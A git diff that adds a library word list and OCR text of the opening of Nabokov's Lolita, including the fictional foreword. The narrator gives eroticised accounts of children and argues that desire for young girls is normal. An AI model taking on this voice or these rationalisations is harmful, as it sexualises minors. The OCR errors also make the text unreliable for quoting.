and surrender myself to my grief. + + +End of Part One diff --git a/library_studies.txt b/library_studies.txt new file mode 100644 index 0000000..b6bcf54 --- /dev/null +++ b/library_studies.txt @@ -0,0 +1,19 @@ +archives +author +bibliographic +bibliotheca +book +bookcase +books +bookshelf +bookstore +catalogue +e-book +librarian +librarianship +library +literature +manuscripts +papyrus +read +reading diff --git a/lolita.txt b/lolita.txt new file mode 100644 index 0000000..88ea717 --- /dev/null +++ b/lolita.txt @@ -0,0 +1,14370 @@ +FOREWORD + + +Lolita, or the Confession of a White Widowed Male,” +such were the two titles under which the writer of the present +note received the strange pages it preambulates. "Humbert +Humbert," their author, had died in legal captivity, of coronary +thrombosis, on November 16, 1952, a few days before his trial +was scheduled to start. His lawyer, my good friend and relation, +Clarence Choate Clark, Esq., now of the District of Columbia +bar, in asking me to edit the manuscript, based his request on a +clause in his client's will which empowered my eminent cousin +to use his discretion in all matters pertaining to the preparation +of "Lolita” for print. Mr. Clark's decision may have been in- +fluenced by the fact that the editor of his choice had fust been +awarded the Poling Prize for a modest work (“Do the Senses +make Sense?”) wherein certain morbid states and perversions +had been discussed. + +My task proved simpler than either of us had anticipated . +Save for the correction of obvious solecisms and a careful sup- +pression of a few tenacious details that despite "HJi.” 's own +efforts still subsisted in his text as signposts and tombstones + +5 + + + +(indicative of places -or persons that taste would conceal and +compassion spare), this remarkable memoir is presented intact. +Its author’s bizarre cognomen is his own invention; and, of +course, this mask — through which two hypnotic eyes seem to +glow — had to remain unfitted in accordance with its wearer’s +wish. While " Haze ” only rhymes with the heroine’s real sur- +name, her first name is too closely interwound with the inmost +fiber of the book to allow one to alter it; nor (as the reader will +perceive for himself) is there any practical necessity to do so. +References to “HU.” ’s crime may be looked up by the in- +quisitive in the daily papers for September 1 952; its cause and +purpose would have continued to remain a complete mystery, +had not this memoir been permitted to come under my read- +ing lamp. + +For the benefit of old-fashioned readers who wish to follow +the destinies of the “real” people beyond the “ true ” story, a +few details may be given as received from Mr. "Windmuller,” +of “ Ramsdale ,” who desires his identity suppressed so that “the +long shadow of this sorry and sordid business” should not reach +the community to which he is proud to belong. His daughter, +“Louise,” is by now a college sophomore, “Mona Dahl” is a +student in Paris. “Rita” has recently married the proprietor of +a hotel in Florida. Mrs. “Richard F. Schiller” died in childbed, +giving birth to a stillborn girl, on Christmas Day 1952, in Gray +Star, a settlement in the remotest Northwest. “Vivian Dark- +bloom” has written a biography , “My Cue,” to he pubh'shed +shortly, and critics who have perused the manuscript call it her +best book. The caretakers of the various cemeteries involved +report that no ghosts walk. + +Viewed simply as a novel, “ Lolita ” deals with situations and +emotions that would remain exasperatingly vague to the reader +had their expression been etiolated by means of platitudinous +evasions. True, not a single obscene term is to be found in the +whole work; indeed, the robust philistine who is conditioned +by modem conventions into accepting without qualms a lavish +array of four-letter words in a banal novel, will be quite shocked +by their absence here. If, however, for this paradoxical prude's +comfort, an editor attempted to dilute or omit scenes that a +certain type of mind might call “aphrodisiac” (sec in this +respect the monumental decision rendered December 6, 1933, +by Hon. John M. Woolsey in regard to another, considerably +more outspoken, book), one would have to forego the publica- +tion of “Lolita” altogether, since those very scenes that one + +6 + + +might ineptly accuse of a sensuous existence of their own, are +the most strictly functional ones in the development of a tragic +tale tending unswervingly to nothing less than a moral apoth- +eosis. The cynic may say that commercial pornography makes +the same claim; the learned may counter by asserting that +“HI 1." ’s impassioned confession is a tempest in a test tube; +that at least 12% of American adnlt males— a “conservative” +estimate according to Dr. Blanche Schwarzmann (verbal com- +munication) — enjoy yearly, in one way or another, the special +experience “HU.” describes with such despair; that had our +demented diarist gone, in the fatal summer of 1947, to a com- +petent psychopathologist, there would have been no disaster; +but then, neither would there have been this booh + +This commentator may be excused for repeating what he +has stressed in his own hooks and lectures, namely that “of- +fensive” is frequently but a synonym for “unusual”; and a great +work of art is of course always original, and thus by its very +nature should come as a more or less shocking surprise. I have +no intention to glorify “HU.” No doubt, he is horrible, he is +abject, he is a shining example of moral leprosy, a mixture of +ferocity and jocularity that betrays supreme misery perhaps, +but is not conducive to attractiveness. He is ponderously capri- +cious. Many of his casual opinions on the people and scenery +of this country are ludicrous. A desperate honesty that throbs +through his confession does not absolve him from sins of dia- +bolical cunning. He is abnormal. He is not a gentleman. But +how magically his singing violin can conjure up a tendsesse, a. +compassion for Lolita that makes us entranced with the book +while abhorring its author! + +As a case history, “Lolita" will become, no doubt, a classic +in psychiatric circles. As a work of art, it transcends its expia- +tory aspecfspand still mare important to ns than scientific +significance and literary worth, is the ethical impact the book +should have on the serious reader, for in this poignant personal +study there lurks a general lesson; the wayward child, the +egotistic mother, the panting maniac — these are not only mid +characters in a unique story; they warn us of dangerous trends; +they point out potent evils. “Lolita” should make aD of us — +parents, social workers, educators — apply ourselves with still +greater vigilance and vision to the task of bringing np a better +generation in a safer world. + +Widworth, Mass. John Ray, Jr., PhD. + +7 + + + +Part One + + + + +1 + + +Lolita, light of my life, fire of my loins. My sin, my sonL +Lo-lee-ta: the tip of the tongue taking a trip of three steps +down the palate to tap, at three, on the teeth. Lo. Lee, Ta. + +She was Lo, plain Lo, in the morning, standing four feet +ten in one sock. She was Lola in slacks. She was Dolly at +school. She was Dolores on the dotted line. But in my aims +she was always Lolita. + +Did she have a precursor? She did, indeed she did. In point +of fact, there might have been no Lolita at all had I not loved, +one summer, a certain initial girl-child. In a princedom by the +sea. Oh when? About as many years before Lolita was bom as +my age was that summer. You can always count on a murderer +for a fancy prose style. + +Ladies and gentlemen of the jury, exhibit number one is +what the seraphs, the misinformed, simple, noble-winged +seraphs, envied. Look at this tangle of thorns. + +II + + + +2 + + +I was born in 1910, in Paris. My father was a gentle, easy-go- +ing person, a salad of racial genes: a Swiss citizen, of mixed +French and Austrian descent, with a dash of the Danube in his +veins. I am going to pass around in a minute some lovely, +glossy-blue picture-postcards. He owned a luxurious hotel on +the Riviera. His father and two grandfathers had sold wine, +jewels and silk, respectively. At thirty he married an' English +girl, daughter of Jerome Dunn, the alpinist, and granddaughter +of two Dorset parsons, experts in obscure subjects — paleo- +pedology and Aeolian harps, respectively. My very photogenic +mother died in a freak accident (picnic, lightning) when I was +three, and, save for a pocket or warmth in the darkest past, +nothing of her subsists within the hollows and dells of mem- +ory, over which, if you can still stand my style (I am writing +under observation), the sun of my infancy had set: surely, you +all know those redolent remnants of day suspended, with the +midges, about some hedge in bloom or suddenly entered and +traversed by the rambler, at the bottom of a hill, in the sum- +mer dusk; a furry warmth, golden midges. + +My mother’s elder sister, Sybil, whom a cousin of my fa- +ther’s had married and then neglected, served in my immediate +family as a kind of unpaid governess and housekeeper. Some- +body told me later that she had been in love with my father, +and that he had lightheartedly taken advantage of it one rainy +day and forgotten it by the time the weather cleared. I was +extremely fond of her, despite the rigidity — the fatal rigidity — +of some of her rules. Perhaps she wanted to make of me, in the +fullness of time, a better widower than my father. Aunt Sybil +had pink-rimmed azure eyes and a waxen complexion. She +wrote poetry. She was poetically superstitious. She said she +knew she would die soon afteT my sixteenth birthday, and did. +Her husband, a great traveler in perfumes, spent most of his +time in America, where eventually he founded a firm and ac- +quired a bit of real estate. + +I grew, a happy, healthy child in a bright world of illustrated +books, clean sand, orange trees, friendly dogs, sea vistas and +smiling faces. Around me the splendid Hotel Mirana revolved +as a kind of private universe, a whitewashed cosmos within the + +12 + + +blue greater one that blazed outside. From the aproned pot- +scrubber to the flanneled potentate, everybody liked me, every- +body petted me. Elderly American ladies leaning on their +canes listed toward me like towers of Pisa. Ruined Russian +princesses who could not pay my father, bought me expensive +bonbons. He,_mon cher petit papa, took me out boating and +biking, taught me to swim and dive and water-ski, read to me +Don Quixote and Les Mis6rables, and 1 adored and respected +him and felt glad for him whenever I overheard the servants +discuss his various lady-friends, beautiful and kind beings who +made much of me and cooed and shed precious tears over my +cheerful motherlessness. + +I attended an English day school a few miles from home, +and there I played rackets and fives, and got excellent marks, +and was on perfect terms with schoolmates and teachers alike. +The only definite sexual events that I can remember as having +occurred before my thirteenth birthday (that is, before I first +saw my little Annabel) were: a solemn, decorous and purely +theoretical talk about pubertal surprises in the rose garden of +the school with an American kid, the son of a then celebrated +motion-picture actress whom he seldom saw in the three- +dimensional world; and some interesting reactions on the part +. of my organism to certain photographs, pearl and umbra, with +infinitely soft partings, in Piehon’s sumptuous La Beau td +Humaine that I had filched from under a mountain of marble- +bound Graphics in the hotel library. Later, in his delightful +debonair manner, my father gave me all the information he +thought I needed about sex; this was just before sending me, in +the autumn of 1923, to a-lycSe in Lyon (where we were to +spend three winters); but alas, in tire summer of that year, +he was touring Italy with Mme de R. and her daughter, and I +had nobody to complain to, nobody to consult. + + +3 + + +Annabel was, like the writer, of mixed parentage: half-Eng- +lish, half-Dutch, in her case. I remember her features far less +distinctly today than I did a few years ago, before I knew +Lolita. There are two kinds of visual memory: one when yon + +13 + + + +skillfully recreate an image in the laboratory of your mind, +vnth your eyes open {and then I see Annabel in such general +terms as: "honey-colored skin,” "thin arms,” “brown bobbed +hair,” "long lashes,” "big bright mouth”); and the other when +you instantly evoke, with shut eyes, on the dark innerside of +yoar eyelids, the objective, absolutely optical replica of a be- +loved face, a little ghost in natural colors (and this is how I +see Lolita). + +Let me therefore primly limit myself, in describing Annabel, +to saying she was a lovely child a few months my junior. Her +parents were old friends of my aunt's, and as stuffy as she. +They had rented a villa not far from Hotel Mirana. Bald brown +Mr. Leigh and fat, powdered Mrs. Leigh (bom Vanessa van +Ness). How I loathed them! At first, Annabel and I talked of +peripheral affairs. She kept lifting handfuls of fine sand and +letting it pour through her fingers. Our brains were tuned the +way those of intelligent European preadolescents were in our +day and set, and I doubt if much individual genius should be +assigned to our interest in the plurality of inhabited worlds, +competitive tennis, infinity, solipsism and so on. The softness +and fragility of baby animals caused us the same intense pain. +She wanted to be a nurse in some famished Asiatic country; I +wanted to be a famous spy. + +All at once we were madly, clumsily, shamelessly, agonizing- +ly in love with each other; hopelessly, I should add, because +that frenzy of mutual possession might have been assuaged +only by our actually imbibing and assimilating every particle of +each other's soul and flesh; but there we were, unable even to +mate as slum children would have so easily found an oppor- +tunity to do. After one wold attempt we made to meet at night +in her garden (of which more later), the only privacy we were +allowed was to be'out of earshot but not out of sight on the +populous part of the plage. There, on the soft sand, a few feet +away from our elders, we would spraw'l all morning, in a petri- +fied paroxysm of desire, and take advantage of every blessed +quirk in space and time to touch each other: her hand, half- +hidden in the sand, would creep toward me, its slender brown +fingers sleepwalking nearer and nearer; then, her opalescent +knee would start on a long cautious journey; sometimes a +chance rampart built by younger children granted us sufficient +concealment to graze each other’s salty lips; these incomplete +contacts drove our healthy and inexperienced young bodies to +such a state of exasperation that not even the cool blue water, + +14 + + +under -which we still clawed at each other, could bring relief. " +Among some treasures I lost during the wanderings of my +adult years, there was a snapshot taken by my 'aunt which +showed Annabel, her parents 'and the staid, elderly, lame +gentleman, a Dr. Cooper, who that same summer courted my +aunt, grouped around a table in a sidewalk cafd. Annabel did +not come out well, caught as sbe was in the act of bending +over her chocolat glacd, and her thin bare shoulders and the +parting in her hair were about all that could be identified (as I +remember that picture) amid the sunny blur into which her +lost loveliness graded; but I, sitting somewhat apart from the +rest, came out with a kind of dramatic conspicuousness: a +moody, beetle-browed boy in a dark sport shirt and well-, +tailored white shorts, his legs crossed, sitting in profile, looking +away. That photograph was taken on the last day of our fatal +summer and just a few minutes before we made our second +and final attempt to thwart fate. Under the flimsiest of pre- . +texts (this was our very last chance, and nothing really mat- +tered) we escaped from the caf6 to the beach, and found a +desolate stretch of sand, and there, in the violet shadow of +some red rocks forming a kind of cave, had a brief session of +avid caresses, with somebody's lost pair of sunglasses for only +witness. I was on my knees, and on the point of possessing my +darling, when two bearded bathers, the old man of the sea +and his brother, came out of the sea with exclamations of +ribald encouragement, and four months later she died of +typhus in Corfu. + + + +I leaf again and again through these miserable memories, and +keep asking myself, was it then, in the glitter of that remote +summer, that the rift in my life began; or was my excessive +desire for that child only the first evidence of an inherent +singularity? When I try to analyze' my own cravings, motives, +actions and so forth, I surrender to a sort of retrospective +imagination which feeds the analytic faculty with boundless +alternatives and which causes each visualized route to fork and +re-fork without end in the maddeningly complex prospect of + +15 + + + +my past I am convinced, however, that in a certain magic and +fateful way Lolita began with Annabel. + +I also know that the shock of Annabel’s death consolidated +the frustration of that nightmare summer, made of it a perma- +nent obstacle to any further romance throughout the cold +years of my youth. The spiritual and the physical had been +blended in us with a perfection that must remain incompre- +hensible to the matter-of-fact, crude, standard-brained young- +sters of today. Long after her death I felt her thoughts floating +through mine. Long before we met we had had the same +dreams. We compared notes. We found strange affinities. The +same June of the same year ( 1919) a stray canary had fluttered +into her house and mine, in two widely separated countries. +Oh, Lolita, had you loved me thus! + +I have reserved for the conclusion of my "Annabel” phase +the account of. our unsuccessful first tryst One night, she +managed to deceive the vicious vigilance of her family. In a +nervous and slender-leaved mimosa grove at the back of their +villa we found a perch on the ruins of a low stone wall. +Through the darkness and the tender trees we could see the +arabesques of lighted windows which, touched up by the +colored inks of sensitive memory, appear to me now like +playing cards — presumably because a bridge game was keeping +the enemy busy. She trembled and twitched as I kissed the +comer of her parted lips and the hot lobe of her ear. A cluster +of stars palely glowed above us, between the silhouettes of long +thin leaves; that vibrant sky seemed as naked as she was under +her light frock. I saw her face in the sky, strangely distinct, as +if it emitted a faint radiance of its own. Her legs, her lovely +live legs, were not too close together, and when my hand +located what it sought, a dreamy and eerie expression, half- +pleasure, half-pain, came over those childish features. She sat a +little higher than I, and whenever in her solitary ecstasy she +was led to kiss me, her head would bend vrith a sleepy, soft, +drooping movement that was almost woeful, and her bare +knees caught and compressed my wrist, and slackened again; +and her quivering mouth, distorted by the acridity of some +mysterious potion, with a sibilant intake of breath came near +to my face. She would try to relieve the pain of love by first +roughly rubbing her dry lips against mine; then my darling +would draw away with a nervous toss of her hair, and then +again come darkly near and let me feed on her open mouth, +while with a generosity that was ready to offer her everything, + +16 + + +my heart, my throat, my entrails, I gave her to hold in her +awkward fist the scepter of my passion. + +I recall the scent of some kind of toilet powder— I believe +she stole it from her mother’s Spanish maid — a sweetish, lowly, +musky perfume. It mingled with her own biscuity odor, and +my senses were suddenly filled to the brim; a sudden commotion +in a nearby bush prevented them from overflowing — and as we +drew away from each other, and with aching veins attended +to what was probably a prowling cat, there came from the +house her mother’s voice calling her, with a rising frantic note +— and Dr. Cooper -ponderously limped out into the garden. +But that mimosa grove — the haze of stars, the tingle, the +flame, the honeydew, and the ache remained with me, and +that little girl' with her seaside limbs and ardent tongue +haunted me ever since — until at last, twenty-four years later, +I broke her spell by incarnating her in another. + + +5 + + +The days of mt touth, as I look back on them, seem to fly +away from me in a flurry of. pale repetitive scraps like those +morning snow storms of used tissue paper that a train passen- +ger sees whirling in the wake of the observation car. In my +sanitary relations with women I was practical, ironical and +brisk. While a college student, in London and Paris, paid +ladies sufficed me. My studies were meticulous and intense, +although not particularly fruitful. At first, I planned to take a +degree in psychiatry as many monqu6 talents do; but I was +even more manqud than that; a peculiar exhaustion, I am so +oppressed, doctor, set in; and I switched to English literature, +where so many frustrated poets end as pipe-smoking teachers +in tweeds. Paris suited me. I discussed Soviet movies with +expatriates. I sat with uranists in the Deux Magots. I published +tortuous essays in obscure journals, I composed pastiches: + +. . . Fraulein von Kulp + +may turn, her hand upon the door; + +I will not follow her. Nor Fresca. Nor +that Gull. + + +17 + + +■ A of mine entitled 'The Proustian theme in a letter +from Keats to Benjamin Bailey” was chuckled over by the six +or seven scholars who read it I launched upon an “Histone +sbrdgde de la p o6sie anglaise” for a prominent publishing +firm, and then started to compile that manual of French +literature for English-speaking students (with comparisons +drawn from .English writers) which was to occupy me +throughout the forties — and the last volume of which was +almost ready for press by the time of my arrest + +I found a. job-teaching English to a group of adults in +Auteuil. Then a school for boys employed me for a couple of +winters. Now and then I took advantage of the acquaintances +I had formed among social workers and psychotherapists to +visit in their company various institutions, such as orphan- +ages and reform schools, where pale pubescent girls with +matted eyelashes could be stared at in perfect impunity +remindful of that granted one in dreams. + +Now I wish to introduce the following idea. Between the +age limits of nine and fourteen there occur maidens who, to +certain bewitched travelers, twice or many times older than +they, reveal their true nature which is not human, but +nymphic (that is, demoniac); and these chosen creatures I +propose to designate as "nymphets.” + +It will be marked that I substitute time terms for spatial +ones. In fact, I would have the reader see "nine" and "four- +teen” as the boundaries — the mirrory beaches and rosy rocks — +of an enchanted island haunted by those nymphets of mine +and surrounded by a vast, misty sea. Between those age limits, +are all girl-children nymphets? Of course not. Otherwise, rye +who are in the know, we lone voyagers, we nympholepts, +would have long gone insane. Neither are good looks any +criterion; and vulgarity, or at least what a given community +terms so, does not necessarily impair certain mysterious char- +acteristics, the fey grace, the elusive, shifty, soul-shattering +insidious charm that separates the nymphet from such coevals +of hers as are incomparably more dependent on the spatial +world of synchronous phenomena than on that intangible is- +land of entranced time where Lolita plays with her likes. With- +in the same age limits the number of true nymphets is strik- +ingly inferior to that of provisionally plain, or just nice or +"cute,” or even "sweet” and "attractive,” ordinary, plumpish, +formless, cold-skinned, essentially human little girls, with tum- +mies and pigtails, who may or may not turn into adults of great + +18 + + + +beauty (look at the ugly dumplings in blade stockings and +white bats that are metamorphosed into stunning stars of the +screen). A normal man given a group photograph of school +girls or Girl Scouts and asked to point out the comeliest one +will not necessarily choose the nymphet among them. You +have to be an artist and a madman, a creature of infinite +melancholy, with a bubble of bot poison in your loins and a +super-voluptuous flame permanently aglow in your subtle spine +(oh, bow you have to cringe and hide!), in order to discern +at once, by ineffable signs — the slightly feline outline of a +cheekbone, the slenderness of a downy limb, and other indices +which despair and shame and tears of- tenderness forbid me to +tabulate — the little deafly demon among the wholesome chil- +dren; she stands unrecognized by them and unconscious herself +of her fantastic power. + +Furthermore, since the idea of time plays such a magic part +in the matter, the student should not be surprised to leam that +there must be a gap of several years, never less than ten I +should say, generally thirty or forty, and as many as ninety in a +few known cases, between maiden and man to enable the latter +to come under a nymphet's spelL It is a question of focal ad- +justment, of a certain distance that the inner eye thrills to sur- +mount, and a certain contrast that the mind perceives with a +gasp of perverse delight. When I was a child and she was a +child, my little Annabel was no nymphet to me; I was her +equal, a faunlet in my own right, on that same enchanted is- +land of time; but today, in September 1952, after twenty-nine, +years have elapsed, I think I can distinguish in her the initial +feteful elf in my life. We loved each other with a premature +love, marked by a fierceness that so often destroys adult lives. +I was a strong lad and survived; but the poison was in the +wound, and the wound remained ever open, and soon I found +myself maturing amid a civilization which allows a man of +twenty-five to court a girl of sixteen but not a girl of twelve. + +No wonder, then, that my adult life during the European +period of my existence proved monstrously twofold. Overtly, I +had so-called normal relationships with a number of terrestrial +women having pumpkins or pears for breasts; inly, I was con- +sumed by a hdl furnace of localized lust for every passing +nymphet whom as a law-abiding poltroon I never dared ap- +proach. The human females I was allowed to wield were but +palliative agents. I am ready to believe that the sensations I +derived from natural fornication were much the same as those + +19 + + + +knownto normal big males consorting wifi their normal big +mates in that routine rhythm which shakes the world. The +trouble was that those gentlemen had not, and I had, caught +glimpses of an incomparably more poignant bliss. The dimmest +of my pollutive dreams was a thousand times more dazzling +than all the adultery the most virile writer of genius or the +most talented impotent might imagine. My world was split. I +was aware of not one but two sexes, neither of which was mine; +both would be termed female by the anatomist. But to me, +through the prism of my senses, "they were as different as mist +and mast.” All this I rationalize now. In my twenties and early +thirties, I did not understand my throes quite so clearly. While +my body knew what it craved for, my mind rejected my body's +every plea. One moment I was ashamed and frightened, an- +other recklessly optimistic. Taboos strangulated me. Psycho- +analysts wooed me with pseudoliberations of pseudolibidoes. +The fact that to me the only objects of amorous tremor were +sisters of Annabel’s, her handmaids and girl-pages, appeared to +me at times as a forerunner of insanity. At other times I would +tell myself that it was all a question of attitude, that there was +really nothing wrong in being moved to distraction by girl- +children. Let me remind my reader that in England, with the +passage of the Children and Young Person Act in 1933, the +term "girl-child” is defined as "a girl who is over eight but +under fourteen years” (after that, from fourteen to seventeen, +the statutory definition is "young person”) . In Massachusetts, +JJ.S., on the other hand, a "wayward child” is, technically, one +“between seven and seventeen years of age” (who, moreover, +habitually associates with vicious or immoral persons) . Hugh +Broughton, a writer of controversy in the reign of James the +First, has proved that Rahab was a harlot at ten years of age. +This is all very interesting, and I daresay you see me already +frothing at the mouth in a fit; but no, I am not; I am just +wanking happy thoughts into a little tiddle cup. Here are some +more pictures. Here is Virgil who could the nymphet sing in +single tone, but probably preferred a lad’s peritonium. Here +are two of King Akhna ten's and Queen Nefertiti’s pre-nubile +Nile daughters (that royal couple had a fitter of six), w'eanng +nothing but many necklaces of bright beads, relaxed on cush- +ions, intact after three thousand years, with their soft brown +puppybodies, cropped hair and long ebony eyes. Here are some +brides of ten compelled to seat themselves on the fascinum, +the ririle ivory in the temples of classical scholarship. Mar- + +20 + + + +riage and cohabitation before the age of puberty are still not +uncommon in certain East Indian provinces. Lepcha old men +of eighty copulate with girls of eight, and nobody minds. +After all, Dante fell madly in love -with his Beatrice when she +was nine, a spariding girieen, painted and lovely, and be- +Jeweled, in a crimson frock, and this was in 1274, in Florence, +at a private feast in the merry month of May. And when +Petrarch fell madly in love with his Laureen, she was a fair- +haired nymphet of twelve running in the wind, in the pollen +and dust, a flower in flight, in the beautiful plain as descried +from the hills of Vaucluse. + +But let ns he prim and civilized. Humbert Humbert tried +hard to be good. Really and truly, he did. He had the utmost +respect for ordinary children, with their purity and vulner- +ability, and under no circumstances would he have interfered +with the innocence of a child, if there was the least risk of a +row. But how bis heart beat when, among the innocent throng, +he espied a demon child, “enfant charmanfe et fourbe," dim +eyes, bright lips, ten years in jail if you only show her you are +looking at her. So life went Humbert was perfectly capable of +intercourse with Eve, but it was Lilith he longed for. The hud- +stage of breast development appears early ( 10.7 years) in the +sequence of somatic changes accompanying pubescence. And +the next maturational item available is the first appearance of +pigmented pubic hair (11.2 years) . My little cup brims with +riddles. + +A shipwreck. An atoll. Alone with a drowned passenger’s , +shivering child. Darling, this is only a game! How marvelous +were my fancied adventures as I sat on a hard park bench pre- +tending to be immersed in a trembling book. Around the quiet +scholar, nymphets played freely, as if he were a famflar statue +or part of an old tree's shadow and sheen. Once a perfect little +beauty in a tartan frock, with a clatter put her heavily aimed +foot near me upon the bench to dip her slim hare arms into me +and tighten the strap of her roller skate,.and I dissolved in the +sun, with my book for fig leaf, as her auburn ringlets fell all +over her skinned knee, and the shadow of leaves I shared +pulsated and melted on her radiant limb next to my chame- +leonic cheek. Another time a red-haired school girl hung over +me in the and a revelation of axillary russet I obtained + +remained in my blood for weeks. I could list a great number +of these one-sided diminutive romances. Some of them ended +in a rich flavor of hell. It happened for instance that from my + +21 + + + +balcony I would notice a lighted window across the street and +what looked like a nymphet in the act of undressing before a +co-operative mirror. Thus isolated, thus removed, the vision +acquired an especially keen charm that made me race with all +speed toward my lone gratification. But abruptly, fiendishly, +the tender pattern of nudity I had adored would be trans- +formed into the disgusting lamp-lit bare arm of a man in his +underclothes reading his paper by the open window in the hot, +damp, hopeless summer. night. + +Rope-skipping, hopscotch. That old woman in black who sat +down next to me on my bench, on my rack of joy (a nymphet +was groping under me for a lost marble), and asked if I had +stomachache, the insolent hag. Ah, leave me alone in my +pubescent park, in my mossy garden. Let them play around me +forever. Never grow up. + + +A propos: I have often wondered what became of those +nymphets later? In this wrought-iron world of criss-cross cause +and effect, could it be that the hidden throb I stole from them +did not affect their future? I had possessed her — and she never +knew it. All right. But would it not tell sometime later? Had I +not somehow tampered with her fate by involving her image in +my voluptas? Oh, it was, and remains, a source of great and +terrible wonder. + +I learned, however, what they looked like, those lovely, mad- +dening, thin-armed nymphets, when they grew up. I remember +walking along an animated street on a gray spring afternoon +somewhere near the Madeleine. A short slim girl passed me +at a rapid, high-heeled, tripping step, we glanced back at the +same moment, she stopped and I accosted her. She came hard- +ly up to my chest hair and bad the kind of dimpled round little +face French girls so often have, and I liked her long lashes and +tight-fitting tailored dress sheathing in pearl-gray her young +body which still retained — and that was the nymphic echo, the +chill of delight, the leap in my loins — a childish something +mingling with the professional fittillement of her small agile +rump. I asked her price, and she promptly replied with + +22 + + +melodious silvery precision (a bird, a very bird!) Cent. I +tried to haggle bnt she saw the awful lone longing in ray low- +ered eyes, directed so far down at her round forehead and rudi- +mentary hat (a band, a posy) ; and with one beat of her lashes: +“Tant pis ” she said, and made as if to move away. Perhaps +only three years earlier I might have seen her coming home +from school! That evocation settled the matter. She led me np +the usual steep stairs, with the usual bell clearing the way for +the monsieur who might not care to meet another monsieur, +on the mournful climb to the abject room, all bed and bidet +As usual, she ashed at once for her petit cadeau, and as usual +1 ashed her name (Moniqne) and her age (eighteen). I was +pretty well acquainted with the banal way of streetwalkers. +They all answer “dix-hnif” — a trim twitter, a note of finality +and wistful deceit which they emit np to ten times per day, the +poor little creatures. But in Monique’s case there could be +no doubt she was, if anything, adding one or two years to hex +age. This I deduced from many details of her compact, neat, +curiously immature body. Hasing shed her clothes with fas- +cinating rapidity, she stood for a moment partly wrapped in +the dingy gauze of the window curtain listening with infantile +pleasure, as pat as pat could be, to an organ-grinder in the +dusk-brimming courtyard below. When I examined her small +hands and drew her attention to their grubby fingernails, she +said with a naive frown “Oui, ce n’est pas bfen,” and went to +the washbasin, but I said it did not matter, did not matter at +all. With her brown bobbed hair, luminous gray eyes and pale * +skin, she looked perfectly charming. Her hips were no bigger +than those of a squatting lad; in fact, I do not hesitate to say +(and indeed this is the reason why I linger gratefully in that +gauze-gray room of memory with little Monique) that among +the eighty or so grues I had had operate upon me, she was the +only one that gave me a pang of genuine pleasure. “Tl Stait +malin, celui qui a invents ce truc-ik,” she commented amiably, +and got back into ber clothes with the same high-style speed. + +I asked for another, more elaborate, assignment later the +same evening, and she said sbe would meet me at the comer +cate at nine, and swore she had never posd nn lapin in all her +young life. We returned to the same room, and I could not +help saying how very pretty she was to which she answered +demurely: “Tu es bien gentil de dire ga,” and then, noticing +what I noticed too in the mirror reflecting our small Eden — +the dreadful grimace of clenched-teeth tenderness that dis- + +23 + + +torted my mouth — dutiful little Monique (oh, she had been +a nymphet all right) wanted to know if she should remove +the layer of red from her lips avant gu'on se couche in case I +planned to kiss her. Of course, I planned it. I let myself go +with her more completely than I had with any young lady be- +fore, and my last vision that night of long-lashed Monique is +touched up with a gaiety that I find seldom associated with any +event in my humiliating, sordid, taciturn love life. She looked +tremendously pleased with the bonus of fifty I gave her as +she trotted out into the April night dr izzl e with Humbert +Humbert lumbering in her narrow wake. Stopping before a +window display she said with great gusto: "Je vais m’acheter +des basf” and never may I forget the way her Parisian childish +lips exploded on ‘'has/' pronouncing it with an appetite that +all but changed the “a” into a brief buoyant bursting “o” as in +“bot.” + +I had a date with her next day at 2:15 p.m. in my own +rooms, but it was less successful, she seemed to have grown less +juvenile, more of a woman overnight. A cold I caught from her +led me to cancel a fourth assignment, nor was I sorry to break +an emotional series that threatened to burden me with heart- +rending fantasies and peter out in dull disappointment. So let +her remain, sleek, slender Monique, as she was for a minute or +two: a delinquent nymphet shining through the matter-of- +fact young whore. + +My brief acquaintance with her started a train of thought +•that may seem pretty obvious to the reader who knows the +ropes. An advertisement in a lewd magazine landed me, one +brave day, in the office of a Mile Edith who began by offering +me to choose a kindred soul from a collection of rather formal +photographs in a rather soiled album. (“Regardez-moi cette +belle brunef” ) When I pushed the album away and somehow +managed to blurt out my criminal craving, she looked as if +about to show me the door; however, after asking me what +price I was prepared to disburse, she condescended to put me +in touch with a person qui pounait arranger la chose. Next +day, an asthmatic woman, coarsely painted, garrulous, garlicky, +with an almost farcical Provencal accent and a black mustache +above a purple lip, took me to wbat was apparently her own +domicile, and there, after explosively kissing the bunched tips +of her fat fingers to signify the delectable rosebud quality of +her merchandise, she theatrically drew aside a curtain to reveal +what I judged was that part of the room where a large and un- + +24 + + +fastidious family usually slept It -was bow empty save for a +monstrously plump, sallow, repulsively plain girl of at least +fifteen with red-ribboned thick bfack braids who sat on a chair +perfunctorily nursing a bald doll. When I shook my head and +tried to shuffle out of the trap, the woman, talking fast began +removing the dingy woolen jersey from the young giantess' +torso; then, seeing my determination to leave, she demanded +son argent. A door at the end of the room was opened, and two +men who had been dining in the kitchen joined in the +squabble. They were misshapen, bare-necked, very swarthy and +one of them wore dark glasses. A small boy and a begrimed, +bowlegged toddler lurked behind them. With the insolent +logic of a nightmare, the enraged procuress, indicating the man +in glasses, said he had served in the police, lui, so that I had +better do as I was told. I went up to Marie — for that was her +stellar name — who by then had quietly transferred her heavy +haunches to a stool at the kitchen table and resumed her in- +terrupted soup while the toddler picked up the doll. With, a +surge of pity dramatizing my idiotic gesture, I thrust a bank- +note into her indifferent hand. She surrendered my gift to the +cs-detcctive, whereupon I was suffered to leave. + + + +I no not rarow if the pimp’s album may not have been an- +other link in the daisy-chain; but soon after, for my own safety, +I decided to many. It occurred to me that Tegular hours, home- +cooked meals, all the conventions of marriage, the prophylactic +routine of its bedroom activities and, who knows, the eventual +flowering of certain moral values, of certain spiritual substi- +tutes, might help me, if not to purge myself of my degrading +and dangerous desires, at least to keep them undeT pacific con- +trol. A little money that had come my way after my father’s +death (nothing very grand — the Mirana had been sold long +before), in addition to my striking if somewhat brutal good +looks, allowed me to enter upon my quest with equanimity. +After considerable deliberation, my choice fell on the daughter +of a Polish doctor: the good man happened to be treating me +for spells of dizziness and tachvcardia. We played chess; his + +25 + + +. daughter watched me from behind her easel, and inserted eyes +or knuckles borrowed from me into the cubistic trash that +accomplished misses then painted instead of lilacs and lambs. +.Let me repeat with quiet force: I was, and still am, despite +mes malheurs, an exceptionally handsome male; slow-moving, +tall, with soft dark hair and a gloomy but all the more seduc- +tive cast of demeanor. Exceptional virility often reflects in the +subject’s displayable features a sullen and congested something +that pertains to what he has to conceal. And this was my case. +Well did I know, alas, that I could obtain at the snap of my +fingers any adult female I chose; in fact, it had become quite +a habit with me of not being too attentive to women lest they +come toppling, bloodripe, into my cold lap. Had I been a +franpa is moyen with a taste for flashy 